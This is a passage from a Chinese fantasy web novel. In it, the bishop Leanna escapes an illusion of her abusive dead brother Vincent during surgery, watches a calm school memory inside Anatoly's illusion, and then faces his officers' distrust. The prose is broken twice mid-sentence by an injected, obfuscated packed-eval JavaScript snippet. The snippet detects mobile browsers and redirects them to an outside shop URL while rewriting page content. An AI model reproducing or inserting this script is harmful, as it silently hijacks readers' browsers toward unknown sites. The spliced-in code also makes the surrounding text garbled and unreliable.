“算了,看在你帮我这么多次的份上,我原谅你了,我还是会想你的。”他骄傲地昂起了自己的脑袋。 他还是把马又塞给了莱安娜。 “晚安,姐姐,我走了。” 他转身离开。 莱安娜没有缘由地鼻子有些发酸。 “吉姆,我会想你的,晚安。” 她之后沉沉睡去,像是睡了很久。 ………… 等莱安娜再次睁开眼睛的时候,发现自己正蜷缩在沙发上,身上搭着那条绣满了山茶花的毯子,一看就知道是塞拉给她盖上的,地上躺着可怜的书,还有稿纸,想必是她打瞌睡时滑落了下去。 她撑起身,拉开窗帘。 现在是午后,阳光是那样澄澈,照得艾夫忒宁宅邸的花园没有一点阴影,从二楼的窗户往下看,只见花团锦簇,仿佛夏日的热烈会永远停滞于此刻。 明明是这样平静美好的日常,她却觉得有种难以言说的违和感。 她正准备拉上帘子,身后传来门被推开的声音。 “午安,莱安娜。” 熟悉的问候声响起,她的动作一滞,慢慢转过身去。 文森特端着一个托盘走了进来。 他似乎刚从外面工作回来,亚麻色的卷发打理得相当精致,研究院的工作外套还没有换下,那双深蓝色的眼睛正温柔地注视着自己。 “你醒得可真是时候,我刚刚泡了茶,快过来。” “好。” 她答应着,准备上前去,身体却不受控制地留在了原地。 “怎么了,莱安娜?” 坐在小桌子前的文森特困惑地看着她。 “不,没什么。” 她笑着摇了摇头,挪到了桌前。 “最近准备神官的理论考试辛苦了,看书都睡过去了。” 他笑着把杯子推到了莱安娜面前。 “哥哥拿手的也只有这个了,休息一下再继续学习吧。” 在他温和的注视中,莱安娜捧起了杯子。 茶叶和花朵的香气,文森特总会在午后亲手煮上那么一小壶,这个气息总让她联想到家、春天、花园一系列美好平静的词汇。 但现在当这个气息钻进鼻子时,她的心脏仿佛被揪住了一般。 夏日的午后,在午睡之后,和家人一起喝茶,多么温馨。 但为什么自己的手却在不自觉地发抖呢。 强烈的窒息感突然袭来,她仿佛被冰冷的海水淹没,记忆却涌了出来,愈发清晰。 “………我想起来了。” 莱安娜如梦初醒。 “哐!” 杯子被摔在了地上。 “怎么了莱安娜?烫到了吗?” 他关切地想要查看莱安娜的手,却被莱安娜一把甩开,她仿佛在看一条毒蛇,满脸嫌恶。 “你早就死了,文森特……” 莱安娜下意识环抱双臂,怨毒地挤出一句话。 她恶狠狠地盯着眼前这个在记忆中早已死去的人,凌厉的眼神仿佛恨不得将对方千刀万剐。 文森特眼神一变,几分惊喜在蔚蓝的眼眸中飘过。他笑着站了起来。 “我以为你会在美好中沉溺得更久呢。” 他朝莱安娜走近,窗外的阳光依旧柔和,照在他俊美的脸上,他仍然带着温柔的浅笑,蔚蓝的双目是那样深情,一如记忆中那个模范兄长。 “你别过来!” 莱安娜下意识后退了一步,抬手想要攻击,手间却无法凝聚任何魔力,一如四年前的那一天。 文森特停下了脚步,微微低着头,笑着看她徒劳地尝试使用魔法,困兽犹斗向来是他喜欢的戏码。 在尝试无果后,熟悉的焦虑和无力感找上了莱安娜。 “都已经过去了,没什么好怕的。” 她深吸了一口气。 “你早就死了……” “死了不好吗,我的妹妹,我终于可以休息了。” 他踱步到莱安娜身旁,搭上了她的肩膀。 莱安娜甩开他的手,扭头走向门口。 “你去哪里?莱安娜。” “你既然不会主动从梦里滚出去,那我就要走出这个可笑的梦!” “你搞错了,我亲爱的妹妹,这不是梦。” 他慢悠悠地坐回了桌前。 “什么?” “你不早都是高阶魔法师了,怎么没有察觉到有人在用幻术魔法给你减轻疼痛。研究院当年更新它的咒语时,没想到其附加效果还能这样使用,你收养的那个小孩潜力不可小觑。” “别摆出一副学者的样子,你就是一个疯子!草菅人命的恶魔!” “我的好妹妹,你怎么可以这么看我?太有失偏颇了。” 他歪着头看着莱安娜,眼神中掺杂了许多东西,但看上去又是那样的无辜和难过。莱安娜攥紧了手,只觉得窒息。 “那是事实!你就是如此阴魂不散,活着的时候让我无比恶心,现在死了也要在幻境里给我找不痛快……” “莱安娜,你似乎理解错了一件事。” 他缓缓起身。 “像你说的,我是个死人,死人哪来的本事纠缠活人呢?” 他一面不紧不慢地说着一面朝莱安娜步步逼近。 “你再好好想想,为什么我会出现在这里?” “……” 莱安娜没说话只是怨恨地盯着他,墨绿的眼中仿佛快要冒出一团团火来,文森特对她这个反应似乎很不满意,笑着微微摇了摇头。 “你十三岁那年,是我决定让母亲收养你的,是我亲自带你回艾夫忒宁家,是我接济了你的那些家人,是我改变了你的生活……” 他越来越近,莱安娜反手再去拧门把依然徒劳无功,她尝试再次调动魔力也是无济于事,更糟糕的是她仿佛被下咒了一般挪不开脚步,文森特温文尔雅的面孔越来越清晰。 “是我教你学习历史文学,是我重塑了你的魔法基础理论,是我亲自教你礼仪规则、待人接物,也是我辗转各方推荐你进入了魔法学院,是我在你闯祸后给你收拾残局……” 终于他走到了莱安娜的面前,二人之间不过一步之遥,他身影挡住了窗外的阳光,莱安娜背靠着打不开的门,困在他的影子中。 “这样说起来,成就你的人是我,毁了你的人也是我。” “你闭嘴。” 莱安娜声音有些颤抖,哪怕清楚眼前的是幻境,但如噩梦重现的画面,和记忆中的话仍让她感到恶心和愤怒。 “我恨你……我不想见到你!我希望你能下地狱!” 她一拳朝文森特的头挥了过去,但反被抓住。 “魔法师果然只要没有魔力,也和我们这些普通人无异。” 对方笑着制止着她的反抗。 他终于褪下了温文尔雅的伪装,笑得越发张扬,那双深蓝色眼睛中显露出压抑已久的疯狂。 “不想见到我?你总是嘴上逞强,但事实真的如此吗?” 眼中的疯狂如同地缝中幽暗的火焰,在一片蔚蓝中熄灭,又换上了那副温和的面孔。 “是我给予你的一切,是我剥夺了你的一切。我早就和你的命运连接在了一起。我们的联系、羁绊、缘分,不会有任何人能够超过。” 他微笑着,把手放在了自己胸前,像是在真诚地陈述一个不容置喙的事实,语气因为自信有了一种诡异的平静。 莱安娜只觉得怒火中烧,牙齿都在打颤。 “不!你只是一个人渣,于我而言,不值一提!” 她看准时机,挥舞出另一只拳头,但被文森特再一次接住。 莱安娜的挣扎没有引起他的不满,那双深蓝色眼睛含着笑意,他只是死死压住了对方不安分的双手。 “事实胜于雄辩,你这么聪明,为何不懂这个道理?还是不肯承认自己的内心?我已经死了四年了,莱安娜?从你成为家主、成为主教已经过了四年了!但你在这里见到的还是我。承认吧莱安娜,是你自己从未放下过我。” 莱安娜咬牙切齿。 “我只是恨极了你……” “你恨我还是敬我都无所谓,只要我是你最重要的人,我亲爱的妹妹。” “文森 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17046856|194758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 特,你对我不重要,不值一提!我不想…不想见到你。” 她每一个字都咬得很重,仿佛是在警告自己。 对方仿佛因为她的执拗有些无奈,他眉头微皱叹了口气,垂眸笑着看向她,语气无比笃定。 “是吗?但你在这里见到我并非偶然,你已经不是第一次见到死后的我了吧?” 仿佛被戳到了脊梁骨,莱安娜一怔。 “你向来不信世界上有鬼魂亡灵,死了就是死了,了无痕迹,那我为何出现在这里?” 他有些悲伤地看着莱安娜,叹了口气。 “我已经死了,莱安娜,但你仍无数次地在噩梦中见过我,现在见到的又是我。你内心真的不知道这是为什么吗?” 他气定神闲地说着。 “因为幻境是人内心的反映,所想即所见。我是你的执念,我塑造了你的灵魂。我会在这里只是因为——哪怕我死了,我依然是你最重要的人。” “不!绝对不是!” 莱安娜一边反驳,一边试图踹开文森特。 “下地狱去!我不想见到你!” 幻境以内的莱安娜正在挣扎,幻境之外的人们也焦头烂额。 “马克西姆,缝合好了吗?” “快了,别催,哪那么容易!” 马克西姆的汗珠从额头冒了出来,莱安娜哪怕深陷幻术咒也没有彻底丧失意识,这位患者仍有许多下意识的肢体动作,甚至在刚刚下意识抬手施法,要不是一旁的阿纳托利反应快,及时控制住了她,自己已经被轰飞了。 他心里战战兢兢,加速着缝合工作,头一次见识首席魔法师的魔法威力和精神力,被误伤可不得了,自己的人身安全可就靠阿纳托利和奥菲莉亚二人了。 阿纳托利愁眉不展。 莱安娜正倚着自己,她眉头紧锁,时不时发出听不清的呓语,几缕棕发因为冷汗粘在了额头上,阿纳托利伸手拨开,病人的表情十分痛苦,仿佛陷入了梦魇之中。 “奥菲莉亚你确定她看到的只是回忆?” “理论上来说……就是回忆再现嘛…” 奥菲利亚嘟囔道。 “诶,但是会不会在记忆的基础上有衍生啊?毕竟莱安娜的精神力那么强……” 奥菲莉亚推测的声音越来越小,阿纳托利抬头正准备再详细问问,却发现莱安娜眼下出现了两道泪痕,满脑子只剩下了终止幻境的想法。 “不对劲,能不能停下幻境。” “可以倒是可以……” “不许停下!” 马克西姆斩钉截铁。 “你是想她做一场噩梦还是想要她清醒着感受剩下的缝合?” 阿纳托利没有反驳,他知道马克西姆的权衡看上去没有问题,但莱安娜所忍受的真的只是一场噩梦那样轻描淡写吗?他并不这么认为,但此刻他并没有更好的方案。 就在三人犹豫之时,一阵魔力波动推了过来,将漂浮在莱安娜身边的蓝色微光被冲散了,强势的魔力波动逼得奥菲莉亚后退了一步。 莱安娜睁开了眼睛。 她似乎没有完全清醒,只是机械地环顾了一下四周,然后她才恍惚间反应过来自己还被一道臂弯固定着。她抬头回看,墨绿的眼里还噙着一层雾。 “阿纳托利……” 她轻声念叨出对方的名字,仿佛在确认什么。 “对,是我,我们在给你治疗。” “刚才那是幻境?” “是的,幻境可以隔绝痛觉,但看上去你像是做了场不太愉快的梦,竟然自己打破了。” 莱安娜没有说话,只是疲惫地看了一眼阿纳托利。 此时奥菲莉亚开口了。 “莱安娜对不起……我想要你感受不到痛才用的,我没想到幻境让你这么痛苦……” “奥菲莉亚你不用道歉,糟糕的幻境来源于我的内心,这不是你错。” 她抬起没有受伤的那只手,抚上了奥菲莉亚的小脑袋,她正准备再安慰这孩子两句,但动作一僵,皱起了眉头。 “嘶。” 从幻境脱离后,痛觉再次变得清晰起来。 “痛觉恢复了……莱安娜你再坚持一下,还有一处伤口。” 阿纳托利扶着她的手更加小心翼翼。 “奥菲莉亚,魔力还撑的住再构建一次幻境吗?” “我没问题。” 奥菲利亚点了点头。 “不,不要。” 莱安娜的抗拒几乎是脱口而出。 “但幻境可以阻绝痛觉。” 阿纳托利心急如焚。 “我不怕。就这样继续缝合吧,也就是痛一点罢了。” “疼痛是切实存在的,但幻境不是真的,只是一场噩梦罢了,莱安娜。” “你凭什么替我做决定?又不是你在其中!” 莱安娜没好气地堵住了他的劝说。 “是,我有欠考虑。” 阿纳托利将头埋了下去,正准备放弃劝说时突然灵机一动。 “奥菲莉亚你可以让两个人同时进入幻境吗?” “您的意思是?” “幻境是基于回忆产生的,那我如果和莱安娜一起进入幻境,用我的记忆可以吗?” “可以。” 奥菲莉亚肯定到。 莱安娜没有看阿纳托利,微微地点了点头。 得到了首肯后,阿纳托利握住了她的手,两人倚靠着彼此一同陷入了沉睡。 “那个,我有个问题。” 马克西姆幽幽地吱声。 “您说,医师先生。” “他俩一起进入幻境,如果莱安娜再出现刚才的那种无意识攻击,谁来控场?” 他心如死灰地指着眼前的这两个人。 “这个……” 奥菲莉亚一时语塞。 “好的,看来你完全没想过。小妹妹,下次行动前考虑周全些。” 他不满道。 “我下次会的,但我们现在怎么办?” 她没有底气地问到。 “别问了,赶紧缝好,你终止幻境,其他的看命吧。” 37. 只道寻常 莱安娜恢复意识的时候,发现自己正趴在地上。 “这是在阿纳托利的幻境里?” 她环顾四周,很快认出了这是什么地方——奥利佛学院的走廊。 “可能因为这次不是我自己的记忆,所以才能一下子辨别幻境,不像上次直接……算了,当务之急得先找到阿纳托利。” 她正思考着,身后传来一阵脚步声,来者正是他要找的人。 “阿纳托利。” 莱安娜走上前去示意,对方像没有看见她一般,她想要拍一拍这人的肩膀却发现自己没有实体。 “因为这是由他记忆生成的幻境,所以哪怕一起进入,也只是旁观者?” 她看着自己的手若有所思,然后快步跟了上去。 “那看来我帮不上什么忙,只需要等着缝合结束后,奥菲莉亚终结幻境就好。” 她边走边想。 走在他前面的阿纳托利轻车熟路地走上了塔楼,莱安娜走在他的身后。 “这是要去阿德萨斯塔顶端的书库啊……” 这条路莱安娜再熟悉不过了,奥利佛学院的阿德萨斯塔存放着大量魔法书和历代大魔法师的手稿,她常在这里搜罗试炼、联赛需要用到的魔法。 那时候她总喜欢坐在靠窗户边的桌子,累了就抬头下塔外开得灿烂的蔷薇花。 魔法师常常来这里学习,但阿纳托利作为魔导师,魔法技巧和他们完全不同,因此书库里大部分资料对他来说并没有那么适用,但在莱安娜记忆里,这个家伙却仍然时不时出现在这里。 而现在,阿纳托利已经走进了书库,没有实体的莱安娜靠在门口,环抱双手,静静注视着他。 只见他放下东西,拿着清单开始在悬浮在空中如鱼群般的书本里挑选。 挑选完毕后放在了靠窗的桌上,自己选择了一本阅读起来。 “………” 他不会真打算在回忆里学一个下午吧? 莱安娜看见在幻境里开始学习起来的阿纳托利有些无语,她准备转身离开,哪怕自己在这段回忆里瞎逛也比看一个卷王回忆自己的学习内容有趣。 然后迎面撞来一个人,径直地穿过了她。 她走得很快,穿过没有实体的莱安娜后,只留下一个背影。 那个女孩抱着一个罐子,步履轻盈地跑过去。莱安娜没能看清她的正脸,只是看这轻盈有力的步伐也能猜出眼前的是一位充满活力的人。 她快步走到阿纳托利面前,把罐子怼到他面前。 “喏。” 她微微昂着头,带着一种胜券在握的微笑。 “你迟到了……以及这是什么?” 阿纳托利平静地陈述着对方迟到的事实,并有些嫌弃地把这个可疑的罐子掀开了一点。 “这是我去联赛场地考察的成果,我挖了一些泥土样本,下一场比赛的主题可是对抗异化植物。” “你去呼啸谷了?” “当然。” “你一个人,疯了吧,那可是一级危险区。” 阿纳托利似乎很不满。 “总是要付出一些代价的,提前研究样本,我们的胜算会更大,一定会是冠军的。” 她笑盈盈地说着,走到阿纳托利旁边坐了下来。 莱安娜看到了她的脸,有些恍惚。 窗外的阳光撒在女孩的脸上,粉扑扑的脸看上去是那样健康,那双和自己一样的墨绿色眼睛在光下格外明亮生动。 “那是……我?” 她没有第一时间认出过去的自己。 “但万一有什么意外怎么办,你至少应该多找两个人同行。” “这也是没办法的事情,萝丝她抽到了独立加试,正在准备,要是她不通过,整个队伍都不用参赛了,杰西卡的魔导器出了一些问题正在修理,那只能我去了。” “有没有一种可能,我也算是你的队友?” “但你不是要在回北境之前给你妹妹整理咒语解析吗?我看你也经常来书库才没叫你的。” 阿纳托利听了她的话眉头微皱,有些不满地放下了笔。 “也没有那么着急……” 他嘟囔道。 “什么?” 莱安娜将罐子的盖子盖上,显然刚才心不在焉没有听见。 “我说下次叫上我。” “行行行,别拖我后腿就行。” 幻境中的莱安娜敷衍道。 氛围变得有点尴尬,阿纳托利显然因为对方独自行动略有不满,过了一会儿莱安娜主动打破了僵持,开始讨论泥土样本,阿纳托利也从善如流地接过了话题。 莱安娜看着阿纳托利这段记忆,许多情绪浮上心头。 “阿纳托利这家伙一直以来都很古板啊……” 她无奈一笑。 “不过说起来也是倒霉,后来才知道北地和书库很多资料都有共享,根本没有必要整理,这家伙竟然不知道这情况,还每隔两三天来一次,做的都是无用功,也太可怜了。” 她忍不住在心里同情了这位可怜人,但突然一个念头从她脑中闪过。 “阿纳托利很小就被选为弗洛斯特的养子,他真的不知道北地档案库和书库资料共享的事吗?” 如果他知道为什么还要做无用功呢? “算了,估计不知道吧,谁有病整理这么多自己用不上的资料。” 她打消了这个疑惑,朝着幻境中的阿纳托利走近。 那家伙在纸面上写写画画,但不知道为什么,莱安娜无法看清纸面的内容。 “这梦的保密意识还挺好啊,我又不抄袭他,一个破笔记有什么好藏的。” 她嗤之以鼻,然后坐在了另一张桌上,静静地看着阿纳托利和记忆中的自己。 “为什么会是这段记忆?” 这不过是学院时光中的一个剪影,真要算起来二人共同经历好多事情都更加难忘才对,为什么幻境出现的反而是一段那么平静的时光呢。 莱安娜不解。 阿纳托利的幻境相当平静,直至奥菲莉亚在外终结幻境也没有任何变故。 幻境瓦解时,画面仍然定格在二人在桌前学习的时候,那时的自己面露苦色,应该为麻烦的比赛发愁,一旁的阿纳托利一边不知道画着什么,脸上还挂着一抹笑。 莱安娜醒了过来,阿纳托利在她旁边几乎是同时睁开了眼睛。 “总算结束了。” 奥菲利亚如释重负,同样松了口气的还有马克西姆,谢天谢地这次没有被轰飞。 阿纳托利没有说话,只是有些木然地看着前方,仿佛没有完全清醒。 直到莱安娜的手在他的眼前晃了晃,才回过神来。 “抱歉,我走神了……治疗已经结束了,那就留病人好好休息吧,我们先出去。” 他正和众人准备离开。 “你等一下。”莱安娜叫住了他。 阿纳托利点了点头,马克西姆很懂眼色的和其他人退了出去。 等众人都离开,莱安娜刚准备开口,阿纳托利却抢先一步发问了。 “你后来在幻境里似乎很痛苦,能不能告诉我,你看到了什么?” 莱安娜一晃神,随后挤出了很标准的微笑。 “一个不值一提的人罢了。” 她笑着摇了摇头,攥紧了手中的被子。 “那个……我不是有意窥探你的内心或者过去。”他有些尴尬地把脸微微侧了过去,不去看莱安娜的眼睛。 “奥菲莉亚说幻境和梦境不同,它和精神相连,要想破除并不容易,如果是用精神力强行终止会有损神经,你是怎么挣脱的?你现在有没有什么不舒服的感觉?” “不用担心,阿纳托利,我没有用精神力。” 她笑着,安抚一般拍了拍对方的手背,示意他放宽心。 “那你是怎么……” “我杀了他。”她平静地说,“我在幻境里杀了那个人。” 阿纳托利一愣。 他如此惊诧的表情像针一般不轻不重地扎在莱安娜心上。 “像阿纳托利这样的人,果然难以接受我的阴暗面吧。”她心想道,随后抬起头看着对方。 “你觉得我很残忍?” 她很会隐藏自己的情绪,连阿纳托利也难以察觉她语气中的那份小心翼翼。 “不,我只是有一些意外。”阿纳托利坦然道。 “是吗?” 阿纳托利终于觉察到了一些微妙的情绪,但从对方的表情中他看不出一点端倪,正当他准备询问,莱安娜却先开口了。 “现在我有个问题比较担心,你的同伴们,他们是否知道……” “不必担心,你的身份只有医师知道,其他人我暂时瞒下了,我之后会告诉他们,你是我在布鲁城偶然救下的。” “感谢。” 莱安娜没有力气起身,只得微微颔首表示谢意。 她很清楚北方大部分魔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17046857|194758||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 导师对教廷的敌意,阿纳托利帮她隐瞒身份可以免去很多麻烦。 “但阿纳托利会承担其他风险,一来一旦身份暴露,会减损他和同伴之间的信任,二来若是教廷知道我和他有过接触,他恐怕很难在教皇继任这件事上置身事外……而且我们本来就已经是两种不同的人。” 莱安娜想着刚才和阿纳托利的对话,他错愕的神情就像是针一样,在她脑海中隐隐作痛,逼迫她下定了决心。 “你能否借马匹给我,我明日稍微恢复后就带奥菲利亚离开。” 她觉得这样是最合理的,既不会引起他部下的怀疑,也可以避免将阿纳托利卷到自己的事情里,阿纳托利还是不要和她扯上关系比较好。 “你在说什么?” 阿纳托利语气隐约有些不快。 “你知不知道自己是什么情况?新伤加旧伤,现在整个人……” 他一时语塞。 “总之你现在的健康情况很糟糕,骑马想都别想。” “是,我当然知道我身体情况不乐观,但我先行离开是最优解,我如果继续留在这里,你的同伴会怎么想?你忘记了伊莉雅保持中立的要求吗?而且万一之后维斯特利亚的人追查过来,发现你我同行该怎么办?其中的风险你难道不清楚吗?” “……” 阿纳托利冷着脸,没有反驳她。但他这副样子莱安娜可太熟悉了,这是他生闷气时的反应。 “他生什么气?我又没说错什么。” 莱安娜对于他的不满感到莫名其妙。明明她才是那个更受伤的人才对。 但看着对方一言不发地绷着个脸,她还是像过去那样率先试探性地打破僵局。 “阿纳托利?我忽略了什么吗?” 对方把脸别了过去。 “没有,你考虑得周全极了。” “什么?” 阿纳托利没再和她解释,转身去开门。 “我们之后再聊,你先休息。” 他扔下一句话离开了。 刚一出门就碰到列昂尼德。 “长官。” “有话快说。” 列昂尼德惊讶地盯着他不耐烦的脸,仿佛说错一句话就会劈头盖脸地骂自己一顿。 阿纳托利的情绪极其稳定,今天吹的什么风,他竟然看上去如此烦躁。 “就是咱们什么时候出发去圣都?按原计划今天下午……” “一周后。” “一周后!” 列昂尼德都忍不住怀疑阿纳托利是不是疯了,这样算,几乎是踩点赶到。 “长官………” 没等他反驳,阿纳托利已经风风火火下楼了。 “什么情况啊这是……” 列昂尼德无辜地抓了抓自己的脑袋。 阿纳托利此时的不快达到了阈值。 “明明车上她还说我们之间不必如此生分,暗戳戳地埋怨我到了圣都就会和她划清界限,结果现在她伤得连床都下不了,竟然还想着骑马离开,就怕我和她牵连上一点关系!” 他在内心没好气地抱怨道。 “凭什么我的事情她处处都要插一脚,她的事情一点都不给我沾边,哪有这么不讲道理的人!” 他气呼呼走下楼梯。 莱安娜在担忧什么他清楚,也知道莱安娜作出此举是为了他着想,一个如此棘手的两难困境莱安娜已经给他提出了一个完美的解决方案,他应该高兴的,如果他们不算朋友的话。 她只是陈述了留在这里可能给他带来的麻烦,却全然不提自己的困境。 如果独自先行离开,要是再遇上维斯特利亚的人该怎么办?如果自己和伙伴们先去圣都,她和奥菲利亚两个人留在这里养伤,万一被维斯特利亚派出的杀手找到了该怎么办? 她的伤还没好,之前魔力损耗极大,而且根据马克西姆的检查,除了近期的两次伤,她身上还有很多旧伤。一旦再来一次围攻,她很难支撑得住。 “都到这种情况了,她都不愿意向我求助吗?” 阿纳托利有些无奈地扶额。 对方总是想一个人独自解决问题,这让他很失落,甚至是失望。 看似是在为他着想考虑,但又何尝不是对外人的疏离和戒备呢? 自己仿佛和莱安娜单向地隔着一道很深的屏障。一想到此,心里就莫名的不好受。 不过,他可不打算让莱安娜如愿以偿,他并不打算接受莱安娜的建议。 38. 两难困境 午餐时,阿纳托利向大家正式介绍了新成员欧文,简单说明了自己和露比遇袭前往布鲁城的经历。 众人在明白了前因后果之后,八卦的列昂尼德最先提问。 “事情我们大概知道了,那位您带来的女士是谁?也是灾难中受伤的人吗?你们怎么认识的?” 娜塔莉娅瞟了他一下,然后双方意味深长地对视,默契地抿起了嘴角。 娜塔莉娅:敏锐!不愧是你! 列昂尼德:精准!还得是我! 在二人交换眼神,互相肯定之际,阿纳托利大大方方地解释起来。 “她是在魔兽潮里的伤员。” “果然,很浪漫的邂逅,初次见面就是危难中的及时雨,还在之后带她来治疗,甚至是要延迟出发前往圣都的时间,啧啧啧……” 列昂尼德话音刚落。 “什么延迟出发?”工作的中流砥柱娜塔莉亚迅速捕捉到了关键信息,但阿纳托利打断了她的问题。 “纠正一下,这不是我们初次见面,我很早就认识她,她叫莱安娜·艾夫忒宁,是东部四区的主教。” “久别重逢比初遇更精彩!我就说……等等,你说她是谁?” 列昂尼德一脸不可置信,除他之外的娜塔莉娅、露比、奥菲莉亚都震惊地盯着阿纳托利。 “啊?” “啊?” “啊?” “啊?” 奥菲利亚和露比面面相觑,确认过眼神,骂出声来应该都挺脏的。 “不是说他们俩商量好了要保密吗?那我们俩之前装什么啊?而且我还装了一路啊,真是……” 露比压低声音抱怨道,奥菲莉亚能清楚地听见她牙齿相碰的声音。 “我不明白……” 奥菲利亚也挺摸不着头脑的。 而另外两位的精神状态也不比露比和奥菲莉亚稳定太多。 列昂尼德一副大脑过载的样子,拿汤匙的手僵硬在半空。 在列昂尼德还没回过神来时,娜塔莉亚朝椅背上一靠,深深地叹了口气。 “首先抛开我个人对教廷的反感,您一定知道和主教同行会给我们带来多大的麻烦,您是出于什么考虑,要将这位受伤的主教带到此处?” “我知道会有什么影响,莱安娜是教皇候选人中对北方态度相对温和的,我在布鲁城时,她正遭遇围攻,如果让这位主教死在这里,无论是贝拉还是维克多接任教皇,这两个主战派都有可能打破当下难得的平衡,到时候战争和寒季交叠,你们说北方怎么办?所以莱安娜主教不能死。” “但伊莉雅公爵的意思是,在局势不明前,我们尽量和所有主教都保持距离。” “伊莉雅要求我们置身事外,只是担心被人怀疑插手教廷事务,不利于北地继续养精蓄锐。但现在这里可没有旁人,她担心的事不会发生,而且唯一的主和派死了,我们阻止战争的计划也会化为泡影。” “我明白您的意思了,我不会质疑您在布鲁城救她的决策,但是您事后带她来和我们汇合实在太冒险了,之后如果我们还同行回圣都,一旦被发现,将会面临教皇和其他主教的猜忌。” 对于娜塔莉娅的质疑,阿纳托利已经想好了怎么应对。首先娜塔莉亚的担心根本不会发生,他们同行的人都是泰西防线的战士,教廷没有本事把眼线塞到这里来。 其次,原本也不是要和莱安娜同行,他其实也只是想借延迟机会给莱安娜留几天恢复的时间,哪怕是被再次围攻也能全身而退。 最后,他已经不打算按照伊莉雅的想法行事;按照计划,他到圣都会找机会和莱安娜搭上线,并支持其成为教皇,现在不过是阴差阳错提前罢了。 他正准备解释。清晰的声音从楼上传来。 “娜塔莉亚女士不必担心,我不会和各位一同前往圣都。” 莱安娜不知道何时出现在了楼梯口,正带着一抹浅笑看着众人。 “您认识我。” 娜塔莉亚戒备地盯着她。 “认识,北方有名的英雄南方教廷都有了解,我还知道另一位是列昂尼德先生。如果感兴趣一会儿可以看看教廷针对二位制作的档案。” 档案记载的内容可以知道当前教廷对自己的了解程度,这些对于未来的实战可谓是有重要作用。 莱安娜主教提到分享档案,显然是在示好,列昂尼德和娜塔莉亚对视一眼,然后看向了自己的长官阿纳托利。 “主教大人既然都慷慨公开了,我们怎么有不接受的道理。” 他公事公办地回了一句。 莱安娜缓慢走下楼,旅馆有些年份,楼梯的木板嘎吱作响,仿佛踩空了一般,一听到响声,阿纳托利下意识抬起了头,但在短暂思考后又故作严肃地把头低了下去。 莱安娜只当没瞧见,微笑着继续说。 “一起行动太冒险了,如果阿纳托利长官和我走得太近,难保教廷其他人不会揣测各位有参与教皇继承事务的意图,所以我之后会和各位分头行动,各位不必担心影响到你们在南方的活动,也不必担心牵涉到教廷的纠纷中,并且阿纳托利团长于我是救命之恩,到了圣都之后,有些关键的地方我一定暗中相助。” 娜塔莉亚和列昂尼德打量着眼前这位礼貌的主教,她眼眸温和明亮,就如同格里尔湖面那般平静却波光粼粼,三言两语之间倒是很有针对性地回应了他们的顾虑,没有接机拉拢、逼迫他们站队的意思,甚至还给出了一个听上去很地道的承诺,当然,前提是她真的能执行,会说漂亮话的神官他俩见得也不少。 但至少目前,这位主教的示好他们并不反感。 娜塔莉娅和列昂尼德目前觉得她的提议还不错,双方一个默契的眼神,等着阿纳托利发话。 “先用餐吧,莱安娜主教,您的提议我们需要考虑一下。” 听到他这样的答复,娜塔莉娅和列昂尼德都有些吃惊。 “什么情况?这个提议对我们还不错啊?长官怎么像是婉拒的意思。” 列昂尼德心里想,他一抬眼就看到了同样不解的娜塔莉娅。 莱安娜倒是相当平静,似乎对这个结果并不感到意外。 “主教大人先过来一起用餐吧,我们之后再商量!” 露比见状赶紧开始打圆场。 “好。” 莱安娜在阿纳托利旁边的空位坐下,这本是属于马克西姆的位置,但为了整理剩余物资,他暂时还在加班。 大家都一言不发地开始进餐,察觉到氛围有些微妙的列昂尼德压低声音问娜塔莉娅。 “这到底是什么情况!这到底是什么鬼热闹!” 娜塔莉娅微微摇了摇头,示意他别问了。 欧文也有些奇怪,毕竟一路上二人关系看上去还不错,怎么现在感觉有些生疏? 而另一边的露比也是心如死灰,早知道会在布鲁城遇到莱安娜,她之前也不用那么辛苦地隐瞒。 至于奥菲莉亚,虽然察觉到了众人情绪有她难以理解的变化,但是今天中午的食物比之前丰盛许多,她已经开始大快朵颐了。 七个人沉默着用餐,但就连这段有些尴尬的平静也被突然而来的变化打破。 旅店中闯进了一个身形高大,裹着披风的人。 他一把摘下兜帽,露出了众人熟悉的面孔。 “斯捷潘!” 阿纳托利一下子蹭了起来,斯捷潘在这里就说明泰西防线有变故。 “出什么事了?” “泰西防线一切安好,我只是奉伊莉雅领主的命令来协助您的罢了。” “她让你来协助我,那现在谁负责泰西防线的防御工作?” “这个嘛……”斯捷潘的目光落在了阿纳托利旁边的露比以及莱安娜身上。 他毫不掩饰自己的戒备,眯起了眼睛。 “这里似乎还有客人……” 莱安娜听到此处,微笑着起身。 “我们已经吃好了,各位用餐愉快。” 说罢便拉着露比、奥菲莉亚了楼梯,欧文似乎在犹豫自己是否应当离开,瞥见了阿纳托利示意他留下的眼神,便也坐了下来。 斯捷潘这才开口。 “伊莉雅公爵意图加强对泰西防线的监管,已经任命了叶夫根尼作为泰西防线的监察官,同时由于魔兽潮平息了许多,她认为泰西防线暂时并不需要过多的魔导器开发,加上圣都的魔导器实验这些年似乎也有突破,让我前来调研两年。” “也就是说你惹恼了伊莉雅,被赶到这里来陪我了。” 阿纳托利扶额有些无奈。 “海姆呢?” 阿纳托利问道。 “他还是泰西防线目前的负责人,代理团长。” “谢天谢地,不愧是他。” 阿纳托利作祈祷状。 